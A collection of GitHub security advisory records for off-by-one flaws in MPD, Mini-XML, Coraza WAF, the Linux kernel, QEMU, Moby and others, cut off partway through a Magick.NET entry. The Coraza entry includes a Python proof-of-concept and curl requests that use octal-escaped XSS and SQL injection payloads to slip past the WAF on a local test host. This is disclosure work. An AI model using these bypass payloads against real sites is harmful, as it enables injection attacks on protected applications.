CWE-193

{
  "affected": [],
  "aliases": [
    "CVE-2026-49127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T20:16:26Z",
    "severity": "HIGH"
  },
  "details": "Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.",
  "id": "GHSA-p9r5-qpp4-rjg3",
  "modified": "2026-05-29T00:38:32Z",
  "published": "2026-05-28T21:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/issues/2485"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/commit/59911028c020f84bc2e669da6a1ef88121301274"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MusicPlayerDaemon/MPD/releases/tag/v0.24.11"
    },
    {
      "type": "WEB",
      "url": "https://mstreet97.github.io/security-research/opensource/vulnerability-disclosure/cybersecurity/cve/2026/05/25/Four_Bugs_Reachable_nc.html"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/MusicPlayerDaemon/MPD/v0.24.11/NEWS"
    },
    {
      "type": "WEB",
      "url": "https://www.musicpd.org/news/2026/05/mpd-0-24-11-released"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/music-player-daemon-stack-buffer-overflow-via-pcm-unpack-24be"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-110604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-14T15:17:11Z",
    "severity": "LOW"
  },
  "details": "Mini-XML 4.0.0 through 4.0.6 contains an off-by-one stack out-of-bounds write in mxml_strtod() when the locale decimal point is not \u0027.\u0027. Attackers can supply XML with a 63-digit REAL value followed by \u0027.\u0027 to write a NUL byte past the 64-byte stack buffer, corrupting stack memory or crashing the process.",
  "id": "GHSA-pc2v-ppxx-vfq5",
  "modified": "2026-10-14T18:32:10Z",
  "published": "2026-10-14T15:32:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/michaelrsweet/mxml/commit/367c7ddd3387f65e867d776216de274bcaa3dae1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/michaelrsweet/mxml/blob/v4.0.6/mxml-file.c#L1860-L1887"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@haind-pwn/cve-2026-110604-mxml-strtod-locale-stack-overflow"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@haind-pwn/mxml-strtod-locale-stack-overflow"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/mini-xml-4.0.0-through-4.0.6-stack-out-of-bounds-write-via-mxml-strtod"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-172",
      "CWE-193",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:45:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 \u003c inputLen) \u0026\u0026 isodigit(input[i+1]):\n    /* \\OOO (only one byte, \\000 - \\377) */\n    buf := make([]byte, 3)\n    j := 0\n\n    for (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n        buf[j] = input[i+j]     // this should be `input[i+1+j]`\n        j++\n        if !isodigit(input[i+j]) {\n            break\n        }\n    }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = \u2018\\\u2019 ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(\u20181\u2019)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = \u20181\u2019`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(\u20186\u2019)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = \u20186\u2019`. The counter increments to 3, at which point the loop condition `j \u003c 3` is no longer satisfied. Final buffer: `buf = [\u2018\\\u2019, \u20181\u2019, \u20186\u2019]`. The buffer is truncated when `j = 2` (because `buf[0] = \u2018\\\u2019 \u003e \u20183\u2019`), leaving `[\u2018\\\u2019, \u20181\u2019]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = [\u0027\\\u0027, \u00273\u0027, \u00277\u0027] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8)  // nn = 0\n// Correct: buf = [\u00273\u0027, \u00277\u0027, \u00277\u0027] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8)   // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n    urllib.request.urlopen(normal_url)\n    print(\"  Response: 200 \")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n    urllib.request.urlopen(octal_url)\n    print(\"  Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n    print(f\"  Response: {e.code}\")\n```\noutput:\n```\n  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n  Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n  Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n\u003c HTTP/1.1 403 Forbidden\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\u003c HTTP/1.1 200 OK\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n\u003c Content-Length: 39\n\u003c Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"\u003ctxid\u003e\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `\u0027 OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`\u0027s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch \u2014 the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` \u2192 `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` \u2014 a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`\u0027s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` \u2014 an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity\u0027s `strtol(...) \u0026 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly \u2014\n`\u003c\\163\\143\\162\\151\\160\\164\u003e` \u2192 `\u003cscript\u003e`, and `\\47\\117\\122\\40\\61\\75\\61` \u2192 `\u0027OR 1=1` \u2014 so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn\u0027t immediately possible, the specific code change is:\n\n```go\nfor (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n    buf[j] = input[i+1+j]\n    j++\n    if i+1+j \u003e= inputLen || !isodigit(input[i+1+j]) {\n        break\n    }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "id": "GHSA-pc5q-qfxp-ggqv",
  "modified": "2026-10-08T17:45:53Z",
  "published": "2026-10-08T17:45:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-26995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:17Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: tcpm: Correct the PDO counting in pd_set\n\nOff-by-one errors happen because nr_snk_pdo and nr_src_pdo are\nincorrectly added one. The index of the loop is equal to the number of\nPDOs to be updated when leaving the loop and it doesn\u0027t need to be added\none.\n\nWhen doing the power negotiation, TCPM relies on the \"nr_snk_pdo\" as\nthe size of the local sink PDO array to match the Source capabilities\nof the partner port. If the off-by-one overflow occurs, a wrong RDO\nmight be sent and unexpected power transfer might happen such as over\nvoltage or over current (than expected).\n\n\"nr_src_pdo\" is used to set the Rp level when the port is in Source\nrole. It is also the array size of the local Source capabilities when\nfilling up the buffer which will be sent as the Source PDOs (such as\nin Power Negotiation). If the off-by-one overflow occurs, a wrong Rp\nlevel might be set and wrong Source PDOs will be sent to the partner\nport. This could potentially cause over current or port resets.",
  "id": "GHSA-pq56-r999-wpfm",
  "modified": "2024-12-23T21:30:50Z",
  "published": "2024-05-01T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26995"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c4128304c2169b4664ed6fb6200f228cead2ab70"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f3da3192cdd3fefe213390e976eec424a8e270b5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-71087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T16:16:08Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: fix off-by-one issues in iavf_config_rss_reg()\n\nThere are off-by-one bugs when configuring RSS hash key and lookup\ntable, causing out-of-bounds reads to memory [1] and out-of-bounds\nwrites to device registers.\n\nBefore commit 43a3d9ba34c9 (\"i40evf: Allow PF driver to configure RSS\"),\nthe loop upper bounds were:\n    i \u003c= I40E_VFQF_{HKEY,HLUT}_MAX_INDEX\nwhich is safe since the value is the last valid index.\n\nThat commit changed the bounds to:\n    i \u003c= adapter-\u003erss_{key,lut}_size / 4\nwhere `rss_{key,lut}_size / 4` is the number of dwords, so the last\nvalid index is `(rss_{key,lut}_size / 4) - 1`. Therefore, using `\u003c=`\naccesses one element past the end.\n\nFix the issues by using `\u003c` instead of `\u003c=`, ensuring we do not exceed\nthe bounds.\n\n[1] KASAN splat about rss_key_size off-by-one\n  BUG: KASAN: slab-out-of-bounds in iavf_config_rss+0x619/0x800\n  Read of size 4 at addr ffff888102c50134 by task kworker/u8:6/63\n\n  CPU: 0 UID: 0 PID: 63 Comm: kworker/u8:6 Not tainted 6.18.0-rc2-enjuk-tnguy-00378-g3005f5b77652-dirty #156 PREEMPT(voluntary)\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n  Workqueue: iavf iavf_watchdog_task\n  Call Trace:\n   \u003cTASK\u003e\n   dump_stack_lvl+0x6f/0xb0\n   print_report+0x170/0x4f3\n   kasan_report+0xe1/0x1a0\n   iavf_config_rss+0x619/0x800\n   iavf_watchdog_task+0x2be7/0x3230\n   process_one_work+0x7fd/0x1420\n   worker_thread+0x4d1/0xd40\n   kthread+0x344/0x660\n   ret_from_fork+0x249/0x320\n   ret_from_fork_asm+0x1a/0x30\n   \u003c/TASK\u003e\n\n  Allocated by task 63:\n   kasan_save_stack+0x30/0x50\n   kasan_save_track+0x14/0x30\n   __kasan_kmalloc+0x7f/0x90\n   __kmalloc_noprof+0x246/0x6f0\n   iavf_watchdog_task+0x28fc/0x3230\n   process_one_work+0x7fd/0x1420\n   worker_thread+0x4d1/0xd40\n   kthread+0x344/0x660\n   ret_from_fork+0x249/0x320\n   ret_from_fork_asm+0x1a/0x30\n\n  The buggy address belongs to the object at ffff888102c50100\n   which belongs to the cache kmalloc-64 of size 64\n  The buggy address is located 0 bytes to the right of\n   allocated 52-byte region [ffff888102c50100, ffff888102c50134)\n\n  The buggy address belongs to the physical page:\n  page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x102c50\n  flags: 0x200000000000000(node=0|zone=2)\n  page_type: f5(slab)\n  raw: 0200000000000000 ffff8881000418c0 dead000000000122 0000000000000000\n  raw: 0000000000000000 0000000080200020 00000000f5000000 0000000000000000\n  page dumped because: kasan: bad access detected\n\n  Memory state around the buggy address:\n   ffff888102c50000: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc\n   ffff888102c50080: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc\n  \u003effff888102c50100: 00 00 00 00 00 00 04 fc fc fc fc fc fc fc fc fc\n                                       ^\n   ffff888102c50180: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc\n   ffff888102c50200: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc",
  "id": "GHSA-pwf8-g74p-w24j",
  "modified": "2026-03-25T21:30:22Z",
  "published": "2026-01-13T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71087"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/18de0e41d69d97fab10b91fecf10ae78a5e43232"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3095228e1320371e143835d0cebeef1a8a754c66"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5bb18bfd505ca1affbca921462c350095a6c798c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6daa2893f323981c7894c68440823326e93a7d61"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ceb8459df28d22c225a82d74c0f725f2a935d194"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d7369dc8dd7cbf5cee3a22610028d847b6f02982"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f36de3045d006e6d9be1be495f2ed88d1721e752"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-3872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-07T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An off-by-one read/write issue was found in the SDHCI device of QEMU. It occurs when reading/writing the Buffer Data Port Register in sdhci_read_dataport and sdhci_write_dataport, respectively, if data_count == block_size. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.",
  "id": "GHSA-px5j-xw79-w7p8",
  "modified": "2025-05-05T21:31:15Z",
  "published": "2022-11-08T12:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3872"
    },
    {
      "type": "WEB",
      "url": "https://lists.nongnu.org/archive/html/qemu-devel/2022-11/msg01068.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221215-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-9720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-21T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "In all Qualcomm products with Android releases from CAF using the Linux kernel, due to an off-by-one error in a camera driver, an out-of-bounds read/write can occur.",
  "id": "GHSA-px67-x7r8-w7j8",
  "modified": "2022-05-13T01:48:06Z",
  "published": "2022-05-13T01:48:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9720"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-09-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100658"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 29.3.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 29.3.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/moby/moby"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:38:09Z",
    "nvd_published_at": "2026-03-31T03:15:57Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA security vulnerability has been detected that allows [plugins](https://docs.docker.com/engine/extend/legacy_plugins/) privilege validation to be bypassed during `docker plugin install`. Due to an error in the daemon\u0027s privilege comparison logic, the daemon may incorrectly accept a privilege set that differs from the one approved by the user.\n\nPlugins that request exactly one privilege are also affected, because no comparison is performed at all.\n\n## Impact\n\n**If plugins are not in use, there is no impact.**\n\nWhen a plugin is installed, the daemon computes the privileges required by the plugin\u0027s configuration and compares them with the privileges approved during installation. A malicious plugin can exploit this bug so that the daemon accepts privileges that differ from what was intended to be approved.\n\nAnyone who depends on the plugin installation approval flow as a meaningful security boundary is potentially impacted.\n\nDepending on the privilege set involved, this may include highly sensitive plugin permissions such as broad device access.\n\n**For consideration: exploitation still requires a plugin to be installed from a malicious source, and Docker plugins are relatively uncommon. Docker Desktop also does not support plugins.**\n\n## Workarounds\n\nIf unable to update immediately:\n- Do not install plugins from untrusted sources\n- Carefully review all privileges requested during `docker plugin install`\n- Restrict access to the Docker daemon to trusted parties, following the principle of least privilege\n- Avoid relying on plugin privilege approval as the only control boundary for sensitive environments\n\n## Credits\n\n- Reported by Cody (c@wormhole.guru, PGP 0x9FA5B73E)",
  "id": "GHSA-pxq6-2prw-chj9",
  "modified": "2026-03-31T18:40:21Z",
  "published": "2026-03-27T17:38:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/security/advisories/GHSA-pxq6-2prw-chj9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/f4d6f25bf0c3fa12d4968320a45685947756a22a"
    },
    {
      "type": "WEB",
      "url": "https://docs.docker.com/engine/extend/legacy_plugins"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/releases/tag/docker-v29.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moby has an Off-by-one error in its plugin privilege validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-30742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-193"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-26T04:15:23Z",
    "severity": "MODERATE"
  },
  "details": "httpd.c in atophttpd 2.8.0 has an off-by-one error and resultant out-of-bounds read because a certain 1024-character req string would not have a final \u0027\\0\u0027 character.",
  "id": "GHSA-q67g-j9gg-987x",
  "modified": "2025-03-26T06:31:37Z",
  "published": "2025-03-26T06:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pizhenwei/atophttpd/blob/74c9f14796b15dc9de5839a5749202f933937a9c/httpd.c#L376-L381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pizhenwei/atophttpd/blob/74c9f14796b15dc9de5839a5749202f933937a9c/httpd.c#L492-L496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pizhenwei/atophttpd/blob/74c9f14796b15dc9de5839a5749202f933937a9c/httpd.c#L71-L72"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.12.0"
            }
          ],
